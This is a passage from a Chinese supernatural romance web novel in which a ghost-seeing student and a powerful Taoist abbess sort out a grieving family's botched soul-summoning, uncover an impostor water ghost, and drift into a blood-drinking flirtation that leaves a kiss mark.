程玉汝喉咙里发出浑浊的声音,眨动浅红的眸子,泪光浮动,一个转身消失了。 傅清微:“……”这样也行? 穆若水踱步过来:“是不是没有伤害她,又控制住了她。”虽然她没说话,但傅清微从她脑门看见两个大字:夸我。 傅清微:“很棒。但是我们得跟上去,万一她们打起来。” 穆若水早就料到,说了声“麻烦”,任劳任怨地跟在她后面,走上回璟珑花园的路。 傅清微站在301的门前,再一次叩响了门。 程妈妈打开了门,疑惑道:“傅同学?你是有什么东西落下了吗?” 傅清微顺势说:“是,我有个……东西丢了。” “是什么?我帮你找找。” “是……一个长方形的……”傅清微嘴里编着,眼睛往客厅看,不需要再看更远了,她就在程妈妈身后,恢复了生前的样子,默默地流着眼泪。 穆若水啧道:“是我高估你这位同学了,她连变恶鬼的潜质都没有。”心软善良,无用软弱。 程妈妈茫然地问:“这位同学,你刚刚说什么?” 穆若水闭口不言,把决定权交给傅清微。 ——放手去做,万事有我。 傅清微在来的路上就考虑过了,诚恳地说:“阿姨,说出来你可能不信,我可以看到人眼看不到的东西,玉汝现在就在您的身边。” 话音刚落,程妈妈的脸色骤然一变:“我听不懂你在说什么。” 大师说了,过了今天玉汝才是安全的,千万不能让别人发现她。 “您怎么能听不懂呢?您不是还请了高人作法,给程同学招魂吗?”傅清微急道。虽然不知道为什么招错了,招来的是个水鬼。 “我听不懂你在说什么。”程妈妈还是这一句,口吻越来越不客气,伸手就要关门。 “阿姨!” 砰—— 傅清微碰了一鼻子灰,差点砸到了鼻梁。 她一扭头,才发现不知道何时穆若水不见了。 程妈妈紧紧地堵上门,还反锁了两道,神经质地自言自语,转过身,和傅清微同行的那个年轻女人正坐在客厅的沙发上,眉目闲适慵懒,偏头在光下欣赏自己修长的手指。 程妈妈脸色红一阵白一阵,惊怒交加:“你是怎么——” 穆若水向她伸出手,程妈妈膝盖一软,年逾五十的身体不受控制地向前飞去,跪在了穆若水身前,她的喉咙被掐在那只漂亮的手掌中。 穆若水可没什么尊老爱幼的品德,她的五指收拢了一点,人类脆弱的喉骨便发出轻微的声响。 “开门,听她把话说完。否则你们全家都要死,听清了吗?” 程妈妈溢出老泪的眼睛拼命眨了眨。 站在她身后的程玉汝急疯了,跪在地上不停地流泪向她磕头。 穆若水高高在上地施舍了一点仁慈:“你女儿在向我磕头,求我饶你一命。不是你们让人请回来的冒牌货,是真正的女儿。” 程妈妈难以置信地睁大了眼睛。 穆若水松开了手,冷冷地睥睨她。 “开门之后,你最好相信她说的话,否则我连你女儿一起杀。” 第42章 穆若水松开了手, 向旁不在意地一甩。 她的眼里与其说冰冷,不如说是对待人类的一视同仁,像看着漠不关心的一团死肉。 连和人类待在同一个空间她都觉得恶心, 恨不得把他们都杀光。 只有傅清微在场时, 她会勉强自己收敛一些, 现在傅清微不在,她连一点伪装都懒得。 穆若水抽了一张湿巾, 擦了擦自己刚刚和人类接触过的手指。 程妈妈跪在地上, 不断干呕,每喘一口气, 喉管撕裂一般的疼, 稍显年迈的身体半天爬不起来。 程玉汝想扶起她,手臂却穿过她的身体。 “妈——”她焦急大喊,却引来了沙发上女人漠然深晦的目光。 “我不喜欢吵闹。” 程玉汝摸向自己的脖子, 仿佛铁钳一样的手指正压迫着她的喉骨, 窒息的噩梦再一次席卷全身,她控制不住地颤抖,紧紧地闭上了嘴, 连抽泣都不敢出一声。 先前傅清微将她送回家,她没有多想为什么穆若水也可以看到她,只以为她是对方的女朋友,往后几次遇见她沉默寡言, 喝卡布奇诺的样子还有点乖,唇边沾了一圈奶泡, 傅清微给她递纸巾擦嘴的时候, 程玉汝还羡慕过她们俩的感情。眼前这个……又是什么怪物? 她刚刚变成鬼,感觉不出来, 只有本能预警十分危险的气息。 傅同学知道她的女朋友是这样的吗? 她会不会有危险? 程妈妈扶着茶几边缘,终于从地上爬了起来。 穆若水也站了起来。 程妈妈和程玉汝同时畏惧地退后。 “去洗把脸,整理一下,别让她看出来。”穆若水低头看着自己的衣袖,漫不经心地说道。 * 傅清微吃了好大一个闭门羹,穆若水又不见了。 简直屋漏偏逢连夜雨,她沿着楼梯上下走了一圈没找到人,拨打了她的电话。 穆若水第一时间按了静音。 ——不错,她又学会了新技能。 “对不起,您所拨打的电话暂时无人接听。Sorry……” 傅清微心跳咚咚的,薄薄的胸腔几乎隔绝不了这种沉重的声音,她才发现自己除了电话,没有第二种办法能找到穆若水的行踪。 只要她不主动出现,她就永远不可能找到她。 傅清微拔腿朝楼下跑去,喉咙分泌的唾液因为紧张迅速干涸,她只能不停地吞咽,恐惧的心跳越来越快,万一她回家了呢? 301的门打开了。 傅清微听见开门的动静,但是她无暇去管了,她得先去确认穆若水在不在家。 如果……如果她还是不在,她要再去一趟蓬莱观。 正在这时,楼上传来一道熟悉的声音: “你去哪儿?” 傅清微的身形被一口气轻飘飘地定住了,难以置信地回头。 女人的声音又说:“上来。” 傅清微一上来,穆若水便被她冲过来的力道扑到了墙根,差点磕着她的后脑勺。 “你有病???”穆若水怒道。 “你才有病!”傅清微气急下意识回了一句,见到女人迅速阴下来的脸,立刻认怂道,“反弹给我自己。” 她松开禁锢住女人的手,往后退开两步,握着她的手腕上上下下地看了她好几圈,似乎是在确认她有没有事——虽然明知以观主的本事,没人伤得了她,但是她控制不住。 穆若水:“看够了?一见你就烦。”要不是因为她,她也不用在里面和别的人类独处,害得她! 傅清微涌到嘴边的关心咽了回去,黯然垂眼。 穆若水意识到自己一时冲动说错话了。 “其实我……”不是那个意思。 傅清微等了两秒,没等到她道歉的下文,心更凉了几分,于是若无其事地将脸转向门口的程妈妈,咦?她怎么突然戴了一条丝巾。 “阿姨。”傅清微忽略丝巾的事,尊敬礼貌地说,“您愿意相信我说的话了吗?” 程妈妈目光不自觉地往她身后飘了一下,很快收回,没让傅清微看出端倪,说:“相信,请进吧傅同学。” 穆若水走在后面,将大衣的袖口往下拉了拉,遮住手腕的红线。 傅清微全程就跟没看见穆若水似的,坐在程妈妈对面。 穆若水自顾自找了个角落,离所有人远远的。 傅清微余光将她收进视线,正眼却是不给的,对程妈妈说:“玉汝出事的第三天,我在学校的寝室楼碰到了她,她当时说她找不到家,我就把她送了回来。三天后,也就是昨天晚上,她发消息给我,说是怀疑家里不干净,今天傍晚,我们约在了门口的青鸟咖啡见面。” 程妈妈即使仍然不太相信她说的话,但她所述又有时间地点又有程玉汝,还是让对方红了眼圈。 傅清微:“刚刚第一次来您家的时候,我和……我发现了家里确实有东西,想必是你们请了民间的高人作法,给玉汝招了魂,但是出于我也不清楚的原因,招来的并非玉汝本人。” 她长得漂亮面善,虽然年轻,但气质沉稳干净,说得出招魂的事,又是程玉汝的同学,程妈妈从最初的否定到已信了几分。 “不知道傅同学师承?”此地玄学盛行,随便拎出一个人物必定是某某门派的弟子,真假不论,总得有个噱头。 “我没有师承。”傅清微尴尬道。 “那就是出身玄学世家?”程妈妈神色更恭敬了一些,如果是世家子弟,怪不得这么年轻了。 “也不是。” “那你是……” 傅清微不知道能不能透露灵管局的存在,说出来她也是个实习生,于是含混道:“我认识一位朋友,她和她师父都是顶厉害的人物。” 穆若水“不小心”重重摔碎了一个花盆。 傅清微立刻道:“我去收拾。” 程妈妈忙道:“放着不用管,你、你坐着就行。” 傅清微看向她垂在膝头轻轻颤抖的手,疑问一闪,程妈妈将手藏到了袖子里,朝她笑了笑。 傅清微百思不得其解:“阿姨……” 里面小睡的程爸爸被这一声盆栽落地惊醒,背着水鬼出来了。 “怎么回事啊?”程爸爸两手托着背后的水鬼,弓着腰苍声问道。 程玉汝本来在妈妈身边哭,这会子和水鬼对上了视线,头先她以为自己是人,才会那么害怕,现在她是鬼了,有什么好怕的? 它居然骗了她的妈爸,妄图顶替她留在人间!为了她的家人,她也要除掉它! 冒牌货遇到了正主,霎时凶相毕露。 两只鬼狭路相逢。 各自化出死后的水鬼模样,手段也差不多,首先发动声波攻击,异常尖利的声音从喉咙里冲出来,几乎要撕裂人的耳膜,啸叫不已—— 对于听不见的人来说,只是客厅里的灯光开始不明原因地明暗交替闪烁。 傅清微紧紧地捂住了自己的耳朵,声音还是锲而不舍地往里钻,面如白纸。 “都给我闭嘴!” 一声女人的轻喝过后,客厅刮起一阵阴风,两只菜鸡互啄的鬼被卷起来拍在墙上,重重跌落在地。 冒牌货水鬼更惨一些,身形都散了,像电视雪花信号不稳定一样忽隐忽现。 程玉汝从墙壁砸下来吐出一口血,不省人事。 傅清微:“玉汝!” 在二位老人看来,她突然冲到墙角半蹲下来,手的姿势像是臂弯里躺着一个人,口里还焦急叫着女儿的名字。 这还有什么不明白的,老两口互相搀扶着赶过去,蹲在傅清微身边,伸手触碰到一团空气,泪如雨下。 “幺儿。” “我是爸爸啊,你怎么了?” “是不是哪里疼啊?妈妈在呢。” 空气不会回答他们。 程爸爸只好将唯一的希望放在了傅清微身上:“这是怎么回事?玉汝怎么样了?” 傅清微咽下了穆若水的出手,说:“……刚刚她和那个冒牌货打起来了,两败俱伤。” “玉汝伤得严重吗?”程妈妈紧紧盯着空气,试图从里面看出轮廓。 程玉汝此时睁开了眼睛,摇了摇头。 “不严重,她已经醒了。”傅清微收到了她的暗示,说,“我扶她到沙发上躺会儿。” 程家老两口跟着她,把正中间的长沙发腾出来,程妈妈还铺了一层柔软的毛毯,程玉汝被搀扶着躺了下来。傅清微走开了,老两口连忙坐到沙发边缘,和程玉汝说话。 傅清微来到阳台外面,不冷不热地问:“程玉汝会死吗?” “你是在向我兴师问罪吗?”穆若水语气比她冲多了。 “我只想知道,她会不会死。”穆若水正在气头上,傅清微的气也没消,她不想这时候和她争吵把她气得离家出走,努力心平气和地说,甚至柔和了语气。 “都学会忍气吞声了,你和她不是不熟吗?”一支藿香正气水记四年,自己任劳任怨,还送她佛珠,得到了什么?热脸贴冷屁股! “……” “你不是认识很厉害的朋友和朋友她师父吗?找她们去,别来烦我。” “……” 简直不可理喻! 傅清微转身就走,视线落下时瞧见她左手握着右手腕,姿势有些怪异。 “你怎么了?”她还是忍不住问了一句。 “与你无关!” 傅清微暗骂自己嘴贱,头也不回地离开了。 穆若水转过去,面向阳台外面的黑夜,额角渗出细密的汗珠,压抑克制地轻喘。 傅清微回到客厅,那只水鬼已经彻底没了,估计是被一下打得魂飞魄散了,本来她还想盘问一下那只水鬼的,但是没有穆若水帮忙,她什么也做不了,活着也没用。 程玉汝还躺着,从呼吸来看不像会有生命危险,她就知道,道长才不是没有分寸的人,傅清微又有点想原谅她。 可她说一见到自己就烦,说的那么认真,毫不犹豫,不像是假话。 傅清微的心又一次沉了下来。 少了穆若水,事情无法得到实质的推进。 傅清微便问了问程家老两口,先前的来龙去脉。 据程爸爸说,事情发生以后,两人悲痛欲绝,尤其是程妈妈住院昏睡了一天一夜,醒过来以后浑浑噩噩,老两口白天去地铁站门口守着,晚上就在那烧纸,沿路烧到回家,边烧边哭喊女儿的名字,让她回家——据说这样可以让逝去的灵魂找到回家的路。 民间习俗里确实有这个说法,根据这个说法,无法承受老年丧女的惨痛的老两口想到了一个主意。早年间程家认识一个游方道士,对他有恩,于是老两口联系上了这个道士,求他帮忙。 此举扰乱阴阳,道士本来不想出手,但为了报恩答应了。 他先教程家在主卧摆了一个聚阴阵,客厅太引人注目,程玉汝生前的卧室老两口又想维持原样,最后选择把主卧弄得阴气沉沉,神龛、玉牌,点了好多红蜡烛。 过后让二老拿着一个人形布偶,正面写着程玉汝的名字,背面生辰八字,于子夜时分去楼下烧纸,把人偶一起烧了,代替程玉汝的阴魂,瞒过阴差。 他们偷天换日,把真正的程玉汝的鬼魂招回来,养在家里。 老两口将信将疑地照做,那天夜里路灯晦暗,老两口先把人偶丢进火盆里,火势忽然大了起来……一切都按照道士说的那样发生了。 午夜两点,招魂仪式完成后半小时,程爸爸背上突然一沉,他不敢相信地看向程妈妈,有些浑浊的眼里已经有了泪。 “是……是幺儿回来了,她就趴在我背上。” 对于寻常人来说恐怕会吓得夜半惊魂,对已经丧失生活希望的老两口来说无疑是梦想成真,欣喜若狂。 程爸爸一步一步将女儿的鬼魂稳稳背上了楼,就像儿时的每一次。 那天晚上,就是程玉汝目睹她妈爸回来,程爸爸浑身淌水的那一幕。 其实仔细想来,重量是不对的。 程玉汝二十来岁,成年人,女人再怎么轻也不会是少年的体重。傅清微亲眼所见,那只水鬼不是程玉汝所说的小孩,是个纤细的未成年女性,因为脚腕过于瘦弱被误认为小孩。 但是迷了心窍的二老是不会细想的,毕竟再想下去最后一丝希望也破灭了。 万一灵魂状态就是要比人轻呢,说得通的。 程妈妈已经倾向于更相信她了,除了她有理有据,是程玉汝的同学以外,穆若水那番恐吓也起了效果——这么厉害的人骗他们两个老人家做什么? 程妈妈:“为什么招魂会出现意外呢?是大师的方法有问题吗?” 除了能见鬼一窍不通的傅清微:“……” 阳台的穆若水也毫无反应。 她只好问程玉汝:“你当时有感应吗?” 程玉汝摇头。 傅清微不想骗人,实话道:“我不通道法,分辨不出来。” 程妈妈小心翼翼:“那你那位厉害的朋友,能不能请教她一下?” 傅清微以为她指的是自己提过的占英,但程妈妈的目光却隐晦地看向了阳台。 她是怎么知道观主厉害的? 老让穆若水在那闹脾气也不是办法。 眼下有了台阶,傅清微就坡下驴,起身不自在道:“我去问问她。” 身后传来迟疑却不断靠近的脚步声,穆若水的喘息立刻停止,面无表情地转过来。 “我……我是来问问……你怎么出了这么多汗?”傅清微不再犹豫,立刻向她走近。 “别过来,我不想见到你。” “你”字落下的同时,傅清微几乎贴到她的脸上,低头看向她紧紧扣在右手腕上的手,问:“你的手怎么了?” “与你无——” 傅清微伸手去掰她的手,纹丝不动,穆若水从汗水里挤出一声嘲讽:“可笑。” 红线被看不见的血染得鲜红。 就连那根线,也是摸不到的,只会一遍遍地焚烧她的灵魂。 穆若水嘲讽的表情维持不住,紧紧地闭上了嘴。 不止是不让自己说话,也是为了不吸她的血。 她们俩刚吵完架,她才不要如此没有骨气。 傅清微只见她不停地出汗,衣领都湿透了,似乎在忍受巨大的痛苦,但却没有任何伤口,唯一有可能的伤处在手腕,但她又不愿意给自己看。 脾气怎么这样坏! 都这时候了,就不能服一下软吗? 傅清微不知道怎样帮她,急得火烧眉毛,差点给岁主任打电话,但恐怕来了会被观主发怒弄死。她灵机一动想到穆若水三番两次吸自己的血,一定是因为她的血对她有特殊的作用。 不管了,死马当活马医。 傅清微当机立断解下围巾,露出干净雪白的脖子,凑到穆若水紧闭的唇前。 穆若水别开脸:“我不喝。” 傅清微一喜。 这经典口是心非的反应,看来就是需要她的血。 形势倒转,傅清微逼近一步,穆若水就后退一步,直到后背抵上阳台的窗户。 好在这边有视野死角挡着,否则就要对客厅现场直播了。 傅清微扣子都解开两颗,更好地暴露出修长的雪颈,毫无底线地求她:“喝一口嘛。” “你——”穆若水太阳穴突突的跳,一时不知道是红线更让她头疼,还是面前步步紧逼的年轻女人。 看看她像什么样子,仰着脖颈,娇侬软语,和求欢有什么区别。 不知廉耻! “道长~” 穆若水头皮一炸,在她的意识做出判断之前,她已经反客为主,把傅清微推到了对面的墙壁,脸埋入她的脖颈里,在她耳边不住轻喘。 鲜血诱人的芳香钻入鼻翼,本能驱使着她咬开猎物的喉咙,渴饮甘甜。 危险的气息在颈间徘徊,傅清微却并不害怕。 痛一下就过去了,而且道长还会帮她把伤口治好。 事情和她想象的有了一点出入。 唇瓣一番游弋过后,离开了她的脖颈。 傅清微因为疑惑睁开眼睛,她肆意敞开的领口里,锁骨突然一阵尖锐的疼痛。 穆若水的手掌抵在她胸前,锋利的指甲划开了她锁骨的皮肤,鲜红的血珠冒了出来。 女人用舌尖卷去那些血珠,重重地吻在她的锁骨上。 第43章 傅清微的后背紧紧地抵住了墙根, 幸好有所依仗,否则女人这出其不意的一下,足以让她站立不稳。 舌尖是冷的, 让她想到阴冷的蛇信, 吻是热的, 冰火两重天。 女人重重地吮着伤口上的血珠,傅清微咬住了下唇。 一时不知道是刚刚划开的皮肤更痛还是她舔咬锁骨的力道使她更痛。 穆若水应该还是痛的, 急促的呼吸不停地扑洒在她的脖子里, 傅清微忍痛抬手,抱住了她的腰。 耳边的声音离她更近了。 阳台的灯不知何时灭了, 傅清微低头往下, 一个乌黑的脑袋埋在她的身前,借着不甚明亮的月光,如果再往下一点, 真的很容易被看到这一幕的人误解她们在做不可告人的事。 ——虽然现在也没好到哪里去。 但是傅清微告诉自己:她是在治病救人, 不能再正经了。 穆若水额头的汗贴在了她的皮肤上,喘得她心神不宁。 心脏违背自我意志引吭高歌,血管自作主张奏起交响乐, 寒冷的冬夜,傅清微挺秀的鼻尖冒出一滴晶亮的汗水。 她干脆闭上了眼睛,顺便并拢了双腿。 身体里的交响曲终于彻底告一段落,傅清微睁开微微汗湿的睫毛, 望向一步之外站着的女人,视野模糊暂时看不清她的面容, 只有刚饮过血后鲜红的唇, 在眼前闪来闪去。 脑神经接触不良似的,大脑也一阵一阵地发晕。 她花了好一会儿才恢复, 抬起手,指尖去触碰她锁骨的伤口。 光滑平整,完好如初。 傅清微的身体从墙根慢慢地卸力,从紧紧抵着变成稍微放松地靠着,问她:“好点了吗?” 其实不用她问,穆若水的左手已经从右手腕放下来了。 “嗯。”穆若水轻轻地应了一声。 傅清微疲惫地阖上眼帘。 “能够帮到道长,真的太好了。” 她还有用,这样她就不会走了吧。 穆若水为数不多的置气也彻底烟消云散,伸手接住了她因为疲倦而不断滑落的身子。 傅清微每次被吸完血都倒头就睡,这次她差点也睡着了,完全合上眼睛的前一秒,客厅丢下的摊子让她瞬间从意识丧失边缘拉了回来。 “不行!我不能睡。”她左右开弓,两只手轮流抽了自己两巴掌,在要抽第三下的时候被穆若水握住了手腕。 “想提神有的是办法,这么大个人在你身边,怎么不知道先问问我?”穆若水恨铁不成钢道。 “我头晕,没想到。”傅清微在她面前极为擅长示弱,楚楚可怜道。 怪罪的回旋镖最终扎回了自己身上。 想让穆若水主动认错是不可能的,但语气显而易见地柔和了许多,仿佛是被春风伴着花香送进傅清微耳朵里的,让她醺然欲醉。 “下次不许这样了。” 沉浸在观主罕见的温柔里不到两秒,傅清微眉心一凉,跟太阳穴涂风油精的效果差不多,猛地提神,甚至有点过度精神了。 傅清微长长地吸了一口气,眼前的观主也看得明明白白了。 穆若水的指尖刚从她眉心放下来。 “走吧,早点弄完回家睡觉。”她率先步入了室内。 傅清微随后跟进去。 客厅的氛围有些古怪。 傅清微出去的这个时间啊,过于长了。 得有十几分钟了。 即使老两口看不到阳台的场景,年纪大了耳朵又有点背,但心不瞎啊。正值桃李的两位年轻人,在黑暗的阳台共度了十几分钟,难道是在谈论诗词哲学吗? 走在前面的满面春风,走在后面的傅清微一对上他们的眼神就低头含羞,咬唇不语,哎哟,都是年轻人走过来的,老人家也没这么封建的好嘛。 程玉汝又喜又愁,这会骨子里吃瓜占了上风,冲着傅清微挤眉弄眼的。 傅清微:“……” 她俩真没什么。 就算……她有什么,观主也绝不会有什么。 古怪安静的氛围大概持续了一分钟,程家人回到正题,在二人轻易抉择出了更有本事的那位:“仙师,为什么招魂会出现意外呢?是大师的方法有问题吗?” “……” 穆若水置若罔闻。 程家人将求助的目光投向傅清微。 傅清微重复了一遍他们的问题:“为什么会招来一个完全陌生的魂魄?难道是作法过程出意外了?” “不清楚。”穆若水不出意外开了尊口,在她露出失望神色之前,对她说,“但我可以猜一下。” 傅清微洗耳恭听。 穆若水说话只冲着她的方向,眼睛也只看向她,一点余光都不给其他人。 女人道:“因为程玉汝的魂魄不完整,别说作法了,阴差都勾不走她。” 阴差勾走魂魄是要送去投胎的,残次品怎么送?下辈子投胎成傻子吗? 世间多枉死之人,滞留之人,不是阴差懈怠,而是有的执念未消,有的残魂永世徘徊。 傅清微:“少了什么?” 穆若水:“人有三魂,胎光、爽灵、幽精,你同学七魄齐全,却只有两魂。” 傅清微连忙追问:“那她最后一魂在哪里?” 程家人也殷切焦急地看过来。 穆若水说:“应该还在那列地铁上。” 此言一出,客厅所有人都沉默了,包括已经变成鬼魂的程玉汝,暗自垂泪。 傅清微不由伸出手,去握住了昔日同学的手。 穆若水眼神望过来,轻飘飘地落在她们交握的手,傅清微慢慢把手抽了出来,清了清嗓子,莫名其妙的心虚。 客厅里漫长的静默,老者低低抽泣。 傅清微只好做第一个打破悲伤氛围的人:“是不是不管要做什么,都得让程同学魂魄完整,才能进行下一步?” 穆若水本想问她要做什么,有外人在场,只是点了点头。 傅清微严肃道:“如果程玉汝的魂魄残缺,那么有可能其他遇难者也有类似的情况,这不是我一个人能管的。”她得上报灵管局,至少有好几个魂魄因为这次灾祸不能投胎转世,得算大事了。 老两口互视一眼,程妈妈期期艾艾,又带着无奈和不得不的愧疚,询问道:“傅同学,我们家玉汝……” 傅清微:“阿姨放心,玉汝是我的同学,我绝不会坐视不管。” 和傅清微确认过后程玉汝“头七”过后目前不会出什么问题,两人离开了程家。 茶几的便利贴上留下了傅清微的联系方式。 走到小区的健身区,两位家长带着孩子在玩跷跷板,妈妈和女儿一边,爸爸在另一边,空气里充满了欢声笑语。 穆若水方问她:“你打算怎么管?” 她除了见鬼什么都不会,拿什么管?难不成又使唤自己? 傅清微确实有想法,但是怕说出来挨骂,缓兵之计道:“我先和占科汇报一下情况。” “占科占科,你俩才见过几面,这么亲热?” “那我叫她群英?” “你敢。” “我不敢,岁主任要弄死我的。” “她敢?” “不敢不敢,就你最敢。” 傅清微笑着随便哄了她一句,耳边已经拨通了占英的电话,走到一旁,说:“占科,我这里发生了一件事,想和你说一下……” 电话没打多久就结束了。 傅清微从树下走回来,神情还有些呆呆的,说:“灵管局已经知道这件事了,也有了解决方案。后天上午,地铁站恢复运营,第一班列车空车运行,送亡魂回家。” 穆若水擦掉她下睫毛的泪水,说:“你真的是水做的,这也要哭?” 傅清微脸颊越来越多的湿润,有女人帮她擦,她干脆就不擦了。 “我只是觉得太好了,她们都可以回家了。”灵管局也太好了,可以做到这些事。 “回家又有什么用,见了家人一面还不是得去投胎。”穆若水惯会煞风景。 但傅清微不理她。 虽然天灾已无可改变,但是能让所有枉死的灵魂都找到回家的路,已是不幸中最大的慰藉。 观主是不会懂的。 但观主看着她双目噙泪,唇角却是弯着的,自言自语“真是太好了”的高兴样子,把灵管局的印象分稍微往上调了百分之一。 ……灵管局也不算一无是处。 傅清微第一时间和程家老两口汇报了这个好消息,当然隐去了灵管局的存在——不知道灵管局之后会不会联系家属,傅清微只说从她那位厉害的朋友处得知,老两口感谢连连,把恩情都记在她头上,倒是让她受之有愧。 傅清微见不远处穆若水正蹲在地上用青草玩蚂蚁,没有注意她这边,低声承诺道:“阿姨,我一定会让程玉汝和你们见上一面的。” 把程玉汝的魂魄留在人间,她办不到,且干扰阴阳秩序。让程家一家三口见面这个心愿,她一定会帮她们完成,不管用任何办法。 穆若水兴致缺缺地丢了刚拔的草。 “谢谢你……”电话那头啜泣不止,傅清微假装平淡地嗯了一声,在穆若水起身的同时挂断了电话,平复自己背着她“干坏事”的心跳。 穆若水走过来,敏锐地眯了眯眼。 “眼睛怎么又红了?” “我就是水做的,你不是早就知道吗?”傅清微先发制人道。 “今天算你运气好,下次再哭我就舔了。” “舔哪儿?” “哪都舔。”观主背着手,声势十足。 傅清微垂下眼,轻轻地笑了一下。 观主还是比她懂的少多了。 她说的是舔眼泪,自己说的可不是。 又开始享受暧昧了。 头顶星月相伴,群星中始终隐藏着月亮皎洁的脸,银河璀璨的天顶下,傅清微仰脸望望苍穹,背影轻快地朝前走去。 穆若水从背后喊了她一声。 傅清微停下来等她,牵起她的手腕,看地面纠缠在一起的影子,难舍难分。 傅清微的手从她手腕慢慢滑落,越过衣袖,指尖缓缓地碰到掌心。 ——暧昧可真令人上头。 傅清微在这天夜晚记住了女人手心的温度。 很凉,但是她……喜……嗯…… 两人打车回到家,已经是深夜,傅清微一踏进家门,依靠术法强行提起的精力瞬间溃散,她险些跪下来,穆若水熟练地拦腰将她抱起,大步朝卧室…… 不,卧室不能睡,朝沙发走去。 傅清微困得眼睛都睁不开,抓着穆若水的衣领喃喃说了一句话。 穆若水:“你说什么?” 傅清微只有嘴唇在动,声音几乎没有,穆若水不得不凑到她的唇边。 不防凑得太近,耳垂触碰到异常的柔软,傅清微水润唇瓣开合间,传来微微的湿意,就像含着她的耳垂吮吻。 穆若水垂下眼帘,呼吸停止。 许久,她才从这种迷幻的绮梦里出来,默默地将傅清微的脑袋摆正。 傅清微早已陷入昏睡。 穆若水蹲在沙发边缘又发了很久的呆,才想起分辨傅清微睡前说的那句话,好像是……“道歉”? 道什么歉? 她又背着自己做什么了? 哼,看在她睡着了的份上,明天再盘问她。 一向自负的穆观主怎么会想到,傅清微说的那句话是让穆若水为了今晚冲动说过的话,向她道歉。傅清微虽然脾气好,但并不是毫无原则,观主对她的好不能抵消她伤人的话语。 ——看够了?一见你就烦。 她记得牢牢的,不仅记得牢,还心怀芥蒂,否则也不会昏睡前一直让她道歉。 傅清微因为消耗过度没有再半夜醒来,反而一路睡过生物钟,早上九点才朦胧睁开睡眼,头脑昏沉。 穆若水从冰箱里拿了鸡蛋和面条,端出前两天熬的牛骨汤,网购的潮州手打牛肉丸。 进厨房门之前催了她一句去洗漱。 傅清微身体欠佳,靠在沙发上,头歪向厨房的方向,闭着眼睛拖长了声音问她:“你昨晚给我道歉了吗?”在她睡着时候道歉了也算数。 穆若水开了抽油烟机,根本听不清外面。 “你说什么——” 傅清微放弃了,从沙发艰难地爬起来,趿拉着拖鞋……脚边连双拖鞋都没有! ——观主在照顾人这件事上可以说是毫无体贴。 但她又给自己做饭了,几乎承包了她的早餐,傅清微瞬间快乐地原谅全世界。 道长就是全世界最好的人! ps:道歉了版。 傅清微从玄关踩了双拖鞋,去卧室拿了换洗衣物,走进浴室,热水淋下来,铺满全身,胸腰淋到小腿,傅清微混沌的脑子终于有清醒过来的感觉。 她低下头想看看伤口,刚好在视野死角。手摸上去倒是毫无异样。 傅清微指腹来回摸了好几次,自己也不知道想摸到些什么。 她一闭上眼,眼前就是昨夜她把自己推在墙壁上的画面,耳边就是她动人的喘息。 明明什么也没发生,但就是……难以忘记。 穆若水在外面敲门。 “洗好了吗?洗好了我就下面条了。” “好了!” 傅清微扯了浴巾匆忙擦干自己的身体,卫生间玻璃映出的身影离开,傅清微竟然有一瞬间希望她推门进来。 傅清微:“……” 她一定是因为三个月前看了黄片。 傅清微用蹩脚的理由说服了自己,穿上凳子上的家居服,本来今天她有个兼职的,因为暴雨那边的线路受损,干脆换新,工作也挪到了三天后,正好让她把程玉汝的事情都处理完,再去工作。 想到正事傅清微脑子里的心猿意马都没了,她解开了领口一粒扣子,抱着旧衣服准备去阳台。 路过洗手台镜子的时候习惯性看了一眼。 “……” 傅清微把衣服扔回去,整个人扑到洗手台前,仰起脸看向自己的脖子以下,白皙精致的锁骨。 穆若水虽然让她的伤口痊愈了,但是,但是! 她没有去掉吮出来的痕迹。 不知道是不能还是忘记了。 在傅清微眼前的,是一个标准的,小说里描写过的,只有十分激情的夜晚才会有的紫红色吻痕。 真正的堂堂吻痕! 女大差点在镜子前晕了。 穆若水把热腾腾的牛肉面端出来放在餐桌上,放上筷子,自觉坐到对面当菜。 傅清微从卫生间出来,扣子扣到最上一颗,见到端坐在桌边的穆若水立时浑身紧绷,故作放松地去沙发上拿了手机。 全程不敢和女人对视,转身朝卧室走去。 穆若水叫住她鬼鬼祟祟的身影:“吃饭,干吗去?” 傅清微语速飞快:“我很快出来。” 比她的语速更快的是她的脚步,进门反锁一气呵成。 穆若水:“……”莫名其妙。 傅清微确认房门锁好了,争分夺秒地解开衣服,露出精致的一字型锁骨。 她心跳加速,打开手机的自拍相机,几番调试。 咔嚓—— 对准吻痕来了一张特写。 第44章 傅清微, 女,二十岁,C大学生, 自我定位纯情女大。在她的前二十年人生中, 从未有过性体验, 甚至性幻想,连个接吻的幻想对象都没有过。 有一天她一觉醒来, 发现她的锁骨上被种下了一颗标准的、激烈的深红色吻痕。 不管这枚吻痕产生的原因是不是激情之爱, 但二十岁的女大的人生初体验,第一枚来自穆观主的吻痕, 她绝对要拍照留念。 傅清微很少自拍, 在卧室里耽搁了不少时间,砰砰砰的拍门声隔着门板响起来,简直就像惊雷。 穆若水已经失去耐性了。 她辛辛苦苦给她做的早餐, 一分钟之内再不看到她坐在饭桌上吃, 她就倒在她的头上。 “滚出来!” “十秒,十、九……” 脚步声离开。 傅清微揣进手机,连滚带爬地开了门, 一边扣扣子一边往餐桌跑:“来了来了。” 一个冲刺坐稳。 “三。” “吃吧。”穆若水在对面的木色餐椅上长腿交叠,打开了一本书,“恭喜你,又活过了一天。” 傅清微低头喝了一口牛骨汤, 差点被她逗笑,心说观主才不会杀她, 最多罚她, 至于罚点什么…… 她的左手滑进领口,抚着那个摸上去毫无异样的吻痕。 按理说如果没有施加术法, 应该是会有痛感的,昨天她吸的时候那么用力。 “你在做什么?” “没什么。”傅清微把手拿出来,重新捏住了汤匙。 傅清微在穆若水眼前跟透明的差不多,她眼珠一转她都知道她肯定有事瞒着自己,穆若水追不追究,取决于她感不感兴趣。 她躲在屋里鬼鬼祟祟的动作恰好就让观主感了兴趣。 “把扣子解了。”穆若水抬了抬下巴道。 “……” 傅清微就知道! 她连一秒钟的犹豫念头都没有,因为再多犹豫一秒不能保证她的衣服会不会立刻变成碎布,观主上次随手把她剥得赤条条她还记忆犹新。 傅清微果断放下筷子,解开衣扣,把领口一直开到胸前。 穆若水玩味地勾了勾唇,好心情地侧头问她。 “喜欢吗?” “什么?” “我给你的印记。” 咚咚—— 骤然加重的心跳。 “……喜欢。” 傅清微说出来,耳根都要红了。 这到底是不是暧昧升级?她的脸现在好热。 如果说是被牛肉面的热气熏得观主会相信吗? 穆若水能用祝由术治愈伤口,自然也能祛除淤痕,不过昨夜是她忘了,治伤和祛痕是不同的咒语,一个救命一个美容,第二个她就没念,反正过不了多久它自己会消失。 